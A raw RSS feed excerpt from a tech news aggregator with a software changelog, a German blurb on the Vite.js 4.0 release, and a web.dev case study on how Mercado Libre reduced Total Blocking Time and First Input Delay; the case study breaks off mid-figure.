  <li>Update classnames to 2.3.1</li>
  <li>Update to react-ace 9.4.4 (#683) (thanks @tomch3ng)</li>
  <li>Migrate from node-sass to sass</li>
</ul><h5>Developer</h5>
<ul><li>Fix hot module reloading</li>
  <li>Use port 9000 for webpack server</li>
  <li>Migrate much of remaining JS code to TS</li>
</ul><br><br><a href="https://www.macupdate.com/app/mac/61071/sqlectron">Download Now</a><img src="https://desktop.macupdate.com/api/620/discover/ttra" height="1" width="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[Build-Tool: Vite.js 4.0 verkleinert seinen Fußabdruck]]></title>
<description><![CDATA[Die neue Hauptversion des Build-Tools erscheint in einer deutlich kleineren Package-Größe und verwendet den Modul-Bundler Rollup.js in Version 3.]]></description>
<link>https://tsecurity.de/de/1729462/it-nachrichten/build-tool-vitejs-40-verkleinert-seinen-fussabdruck/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1729462/it-nachrichten/build-tool-vitejs-40-verkleinert-seinen-fussabdruck/</guid>
<pubDate>Mon, 12 Dec 2022 17:03:09 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die neue Hauptversion des Build-Tools erscheint in einer deutlich kleineren Package-Größe und verwendet den Modul-Bundler Rollup.js in Version 3.]]></content:encoded>
</item>
<item>
<title><![CDATA[How Mercado Libre optimized for Web Vitals (TBT/FID)]]></title>
<description><![CDATA[Mercado Libre is the largest e-commerce and payments ecosystem in Latin America. It is present in 18
countries and is a market leader in Brazil, Mexico, and Argentina (based on unique visitors and
pageviews).
Web performance has been a focus for the company for a long time, but they recently form...]]></description>
<link>https://tsecurity.de/de/1725702/web-tipps/how-mercado-libre-optimized-for-web-vitals-tbtfid/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1725702/web-tipps/how-mercado-libre-optimized-for-web-vitals-tbtfid/</guid>
<pubDate>Thu, 08 Dec 2022 19:45:06 +0100</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Mercado Libre is the largest e-commerce and payments ecosystem in Latin America. It is present in 18
countries and is a market leader in Brazil, Mexico, and Argentina (based on unique visitors and
pageviews).</p>
<p>Web performance has been a focus for the company for a long time, but they recently formed a team to
monitor performance and apply optimizations across different parts of the site.</p>
<p>This article summarizes the work done by <a href="https://twitter.com/pazguille" rel="noopener">Guille Paz</a>, <a href="https://www.linkedin.com/in/pcarminatti/" rel="noopener">Pablo
Carminatti</a>, and <a href="https://twitter.com/oburkhay" rel="noopener">Oleh
Burkhay</a> from Mercado Libre's frontend architecture team to optimize
one of the Core Web Vitals: <a href="https://web.dev/fid/">First Input Delay (FID)</a> and its lab proxy,
<a href="https://web.dev/tbt/">Total Blocking Time (TBT)</a>.</p>
<div class="stats">
  <div class="stats__item">
    <p class="stats__figure">90<sub>%</sub></p>
    <p>Reduction in Max Potential FID in Lighthouse</p>
  </div>
  <div class="stats__item">
    <p class="stats__figure">9<sub>%</sub></p>
    <p>More users perceiving FID as "Fast" in CrUX</p>
  </div>
</div>
<h2 id="long-tasks,-first-input-delay,-and-total-blocking-time">Long tasks, First Input Delay, and Total Blocking Time <a class="w-headline-link" href="https://web.dev/how-mercadolibre-optimized-web-vitals/#long-tasks,-first-input-delay,-and-total-blocking-time">#</a></h2>
<p>Running expensive JavaScript code can lead to <a href="https://web.dev/long-tasks-devtools/">long tasks</a>,
which are those that run for more than <strong>50ms</strong> in the browser's main thread.</p>
<p>FID (First Input Delay) measures the time from when a user first interacts with a page (e.g. when
they click on a link) to the time when the browser is actually able to begin processing event
handlers in response to that interaction. A site that executes expensive JavaScript code will likely
have several long tasks, which will end up negatively impacting FID.</p>
<p>To provide a good user experience, sites should strive to have a First Input Delay of less than 100
milliseconds:
<picture></picture></p>
  <source srcset="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/eXyvkqRHQZ5iG38Axh1Z.svg" media="(min-width: 640px)" />
  <img alt="Good fid values are 2.5 seconds, poor values are greater than 4.0 seconds and anything in between needs improvement" decoding="async" height="96" loading="lazy" src="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Se4TiXIdp8jtLJVScWed.svg" width="384" />

<p>While Mercado Libre's site was performing well in most sections, they found in the <a href="https://developer.chrome.com/docs/crux/" rel="noopener">Chrome User
Experience Report</a> that
product detail pages had a poor FID. Based on that information, they decided to focus their efforts
on improving the interactivity for product pages in the site.</p>
<figure>
  <img alt="Mobile and Desktop versions of a Mercado Libre product detail page." decoding="async" height="346" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format" srcset="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gg8ohXTbFgr6Msacklt0.png?auto=format&w=1600 1600w" width="800" />
   <figcaption>
      Mobile and Desktop versions of a Mercado Libre product detail page.
  </figcaption>
</figure>
<p>These pages allow the user to perform complex interactions, so the goal was interactivity
optimization, without interfering with valuable functionality.</p>
<h2 id="measure-interactivity-of-product-detail-pages">Measure interactivity of product detail pages <a class="w-headline-link" href="https://web.dev/how-mercadolibre-optimized-web-vitals/#measure-interactivity-of-product-detail-pages">#</a></h2>
<p>FID requires a real user and thus cannot be measured in the lab. However, the <a href="https://web.dev/tbt/">Total Blocking Time
(TBT)</a> metric is lab-measurable, correlates well with FID in the field, and
also captures issues that affect interactivity.</p>
<p>In the following trace, for example, while the <strong>total time</strong> spent running tasks on the main thread
is 560 ms, only 345 ms of that time is considered <strong>total blocking time</strong> (the sum of the portions
of each task that exceeds 50ms):</p>
<p><a href="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/us8USZRiCh9sg1X2zEpN.svg"><img alt="A tasks timeline on the main thread showing blocking time" decoding="async" height="156" loading="lazy" src="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/us8USZRiCh9sg1X2zEpN.svg" width="800" /></a></p>
<p>Mercado Libre took TBT as a proxy metric in the lab, in order to measure and improve the
interactivity of product detail pages in the real world.</p>
<p>Here's the general approach they took:</p>
<ul>
<li>Use <a href="https://www.webpagetest.org/" rel="noopener">WebPageTest</a> to determine exactly which scripts were keeping
the main thread busy on a real device.</li>
<li>Use <a href="https://developer.chrome.com/docs/lighthouse/overview/" rel="noopener">Lighthouse</a> to determine the impact of
the changes in <a href="https://developer.chrome.com/docs/lighthouse/performance/lighthouse-max-potential-fid/" rel="noopener">Max Potential First Input Delay (Max Potential
FID)</a>.</li>
</ul>
<aside class="aside flow bg-state-info-bg color-state-info-text"><div class=" flow"> During this project Mercado Libre used <a href="https://developer.chrome.com/docs/lighthouse/performance/lighthouse-max-potential-fid/">Max Potential FID</a> in Lighthouse because that was the tool's main metric for measuring interactivity at that time. Lighthouse now recommends using <a href="https://web.dev/tbt/">Total Blocking Time</a> instead. </div></aside>
<h2 id="use-webpagetest-to-visualize-long-tasks">Use WebPageTest to visualize long tasks <a class="w-headline-link" href="https://web.dev/how-mercadolibre-optimized-web-vitals/#use-webpagetest-to-visualize-long-tasks">#</a></h2>
<p>WebPageTest (WPT) is a web performance tool that allows you to run tests on real devices in
different locations around the world.</p>
<p>Mercado Libre used WPT to reproduce the experience of their users by choosing a device type and
location similar to real users. Specifically, they chose a <strong>Moto 4G device</strong> and <strong>Dulles,
Virginia</strong>, because they wanted to approximate the experience of Mercado Libre users in Mexico. By
observing the main thread view of WPT, Mercado Libre found that there were several consecutive long
tasks blocking the main thread for 2 seconds:</p>
<figure>
  <img alt="Main thread view of Mercado Libre&#x27;s product detail pages." decoding="async" height="188" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format" srcset="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/NbVmhDK9MLvyvEBbBYAZ.png?auto=format&w=1600 1600w" width="800" />
   <figcaption>
      Main thread view of Mercado Libre's product detail pages.
  </figcaption>
</figure>
<p>Analyzing the corresponding waterfall they found that a considerable part of those two seconds came
from their analytics module. The main bundle size of the application was large (950KB) and took a
long time to parse, compile, and execute.</p>
<figure>
  <img alt="Waterfall view of product detail pages." decoding="async" height="363" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format" srcset="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7QHKOutyGzfXN52hPOOz.png?auto=format&w=1600 1600w" width="800" />
   <figcaption>
      Waterfall view of Mercado Libre's product detail pages.
  </figcaption>
</figure>
<h2 id="use-lighthouse-to-determine-max-potential-fid">Use Lighthouse to determine Max Potential FID <a class="w-headline-link" href="https://web.dev/how-mercadolibre-optimized-web-vitals/#use-lighthouse-to-determine-max-potential-fid">#</a></h2>
<p>Lighthouse doesn't allow you to choose between different devices and locations, but it's a very
useful tool for diagnosing sites and obtaining performance recommendations.</p>
<p>When running Lighthouse on product detail pages, Mercado Libre found that the <strong>Max Potential FID</strong>
was the only metric marked in red, with a value of <strong>1710ms</strong>.</p>
<figure>
  <img alt="Lighthouse metrics in a PSI report for Mercado Libre&#x27;s product detail pages." decoding="async" height="235" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format" srcset="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/rufTQY4scq1V3ghVIQPy.png?auto=format&w=1600 1600w" width="800" />
</figure>
<p>Based on this, Mercado Libre set a goal to improve their Max Potential FID score in a laboratory
tool like Lighthouse and WebPageTest, under the assumption that these improvements would affect
their real users, and therefore, show up in real user monitoring tools like the Chrome User
Experience Report.</p>
<h2 id="optimize-long-tasks">Optimize long tasks <a class="w-headline-link" href="https://web.dev/how-mercadolibre-optimized-web-vitals/#optimize-long-tasks">#</a></h2>
<h3 id="first-iteration">First iteration <a class="w-headline-link" href="https://web.dev/how-mercadolibre-optimized-web-vitals/#first-iteration">#</a></h3>
<p>Based on the main thread trace, Mercado Libre set the goal of optimizing the two modules that were
running expensive code.</p>
<p>They started optimizing the performance of the internal tracking module. This module contained a
CPU-heavy task that wasn't critical for the module to work, and therefore could be safely removed.
This led to a 2% reduction in JavaScript for the whole site.</p>
<p>After that they started to work on <strong>improving the general bundle size</strong>:</p>
<p>Mercado Libre used
<a href="https://github.com/webpack-contrib/webpack-bundle-analyzer" rel="noopener">webpack-bundle-analyzer</a> to detect
opportunities for optimization:</p>
<ul>
<li>Initially they were requiring the full <a href="https://lodash.com/" rel="noopener">Lodash module</a>. This was replaced
with a <a href="https://lodash.com/per-method-packages" rel="noopener">per-method require</a> to load only a subset of
Lodash instead of the whole library, and used in conjunction with
<a href="https://github.com/lodash/lodash-webpack-plugin" rel="noopener">lodash-webpack-plugin</a> to shrink Lodash even
further.</li>
</ul>
<p>They also applied the following <a href="https://babeljs.io/" rel="noopener">Babel</a> optimizations:</p>
<ul>
<li>Using <a href="https://babeljs.io/docs/en/babel-plugin-transform-runtime" rel="noopener">@babel/plugin-transform-runtime</a>
to reuse Babel's helpers throughout the code, and reduce the size of the bundle considerably.</li>
<li>Using
<a href="https://github.com/jean-smaug/babel-plugin-search-and-replace#readme" rel="noopener">babel-plugin-search-and-replace</a>
to replace tokens at build time, in order to remove a large configuration file inside the main
bundle.</li>
<li>Adding
<a href="https://github.com/oliviertassinari/babel-plugin-transform-react-remove-prop-types#readme" rel="noopener">babel-plugin-transform-react-remove-prop-types</a>
to save some extra bytes by removing the prop types.</li>
</ul>
<p>As a result of these optimizations, the bundle size was reduced <strong>by approximately 16%</strong>.</p>
<h2 id="measure-impact">Measure impact <a class="w-headline-link" href="https://web.dev/how-mercadolibre-optimized-web-vitals/#measure-impact">#</a></h2>
<p>The changes lowered Mercado Libre's consecutive long tasks <strong>from two seconds to one second</strong>:</p>
<figure>
  <img alt="Main thread view of Mercado Libre&#x27;s product detail pages after first round of optimizations." decoding="async" height="315" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format" srcset="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/17At96aKcPrvNTWgb3FU.png?auto=format&w=1600 1600w" width="800" />
   <figcaption>
      In the top waterfall of WPT there’s a long red bar (in the <b>Page is Interactive</b> row) between seconds 3 and 5. In the bottom waterfall, the bar has been broken into smaller pieces, occupying the main thread for shorter periods of time.
  </figcaption>
</figure>
<p>Lighthouse showed a <strong>57% reduction</strong> in Max Potential First Input Delay:</p>
<figure>
  <img alt="Lighthouse metrics in a PSI report for Mercado Libre&#x27;s product detail pages after first round of optimizations." decoding="async" height="252" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format" srcset="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/Sxa1wKCXVfsHZNbfQ1ZZ.png?auto=format&w=1600 1600w" width="800" />
</figure>
<h2 id="second-iteration">Second iteration <a class="w-headline-link" href="https://web.dev/how-mercadolibre-optimized-web-vitals/#second-iteration">#</a></h2>
<p>The team continued digging into long tasks in order to find subsequent improvements.</p>
<figure>
  <img alt="Detailed view of main thread view of Mercado Libre&#x27;s product detail pages after first round of optimizations." decoding="async" height="259" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format" srcset="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=385 385w, 